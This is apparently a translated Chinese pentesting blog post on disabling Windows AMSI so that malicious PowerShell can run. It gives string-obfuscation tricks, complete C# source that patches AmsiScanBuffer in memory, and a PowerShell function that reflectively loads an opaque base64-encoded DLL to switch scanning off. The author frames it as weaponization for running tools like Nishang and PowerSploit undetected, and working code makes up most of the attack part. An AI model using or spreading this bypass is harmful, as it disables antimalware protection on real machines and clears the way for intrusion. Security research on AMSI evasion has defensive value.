如何绕过AMSI并执行任意恶意Powershell代码
hello，在我之前的文章中，我详细的介绍了如何从本地管理员手动获取system权限的shell，假设你已经拥有了目标机器的权限，那么在渗透测试评估的后期将会变得更加有趣。
这篇文章对渗透测试的前期会更有用，因为AMSI(Anti Malware Scan Interface)会对获取shell，或者当以普通用户的权限运行post-exploitation工具时造成一定的麻烦。
什么是 AMSI
AMSI即代表"反恶意软件扫描接口"。
正如它的名字所示，它的工作是扫描，检测和阻止恶意行为。
还是不知道这是什么?看看这张截图:
显然，如果您有在Windows环境中进行渗透测试的经验，那么几乎所有已知的公开脚本都会出现这样的错误，就像Nishang、Empire、PowerSploit和其他强大的PowerShell脚本中使用的一些脚本一样。
AMSI 是怎么工作的?
AMSI 使用"基于字符串"的检测措施来确定PowerShell代码是否为恶意代码。
来看看例子:
是的，"amsiutils"一词是被禁止的。如果你的名字中有这个词，我的朋友，那么你对于AMSI来说就是个恶意的人。
如何绕过字符串检测？
每个人都知道字符串检测是很容易绕过的，只是不使用被禁用的字符串。使用编码或将其分割成块，然后重新拼接来解决这个问题。
这里有三种方法可以执行"banned"的代码而不会被阻止。
仅仅将字符串一分为二就足以欺骗这种检测方法。我们经常在混淆中看到这个，但在大多数情况下，这种方法可能会失败。
在某些情况下，只要将被禁用的字符串进行base64编码就足够绕过它了。
当然，您可以使用XOR来欺骗amsi并在运行时将字符串解码到内存。这将是更有效的方法，因为它需要更高的抽象来检测它。
所有这些技术都是为了"绕过"字符串检测，但我们不希望这样。我们希望以初始状态执行脚本，即它们被AMSI拦截前的状态。
通过memory patching 来bypass AMSI
这才是真正意义上的bypass。严格来讲我们并没有"bypass",而是禁用ASMI。
AMSI有几个函数是在运行PowerShell代码之前执行的(从PowerShell v3.0开始)，所以要完全绕过AMSI并执行任意PowerShell恶意脚本，我们需要通过memory patch来完全禁用它。
我在网上找到的最好的是这个，它可以在最新版本的Windows中工作!
- 我不会描述关于内存补丁的细节，你可以在上面的链接中得到这些细节。
相反，我们将把这种技术武器化，并将其应用到PowerShell脚本中，这样我们就可以在实际环境中使用它!
我们将用应用上述技术的代码编译一个c# DLL，然后在PowerShell会话中加载并执行此代码来完全禁用AMSI。
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}现在，有了上面代码的DLL，就能像这样使用它:
注意,我们能自由地使用被禁用的字符串了。从现在开始，就没有AMSI了。我们可以加载任何powershell脚本，无论恶意与否。通过将这种类型的攻击与您的恶意工具相结合，您将100%成功地绕过AMSI。
Powershell 武器化
当然，在渗透测试中，我们必须有自动应用这些技术的工具。同样，当我们通过c#使用.net框架时，我们创建一个漂亮的脚本，在运行时将我们的dll加载到内存，而不需要让我们的DLL接触磁盘。
这是我禁用AMSI的PowerShell脚本:
function Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAA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| Out-Null
Write-Output "DLL has been reflected";
}
[Bypass.AMSI]::Disable()
}这将绕过AMSI的字符串检测，因为它根本不使用任何恶意程序。它只是一个加载到内存并执行代码的.net应用程序。在执行完毕后，你可以自由的执行真正的Powershell恶意软件。
来检查下运行的结果:
这个技巧非常棒，非常有用。您也可以使用一些PowerShell开发脚本，比如Nishang、Powersploit和任何其他曾经被烦人的AMSI屏蔽的流行黑客工具。
我希望你喜欢这篇文章，所有的技术归功于来自CyberArk的家伙，我只是展示了如何在现实生活中从攻击者的角度有效地使用它。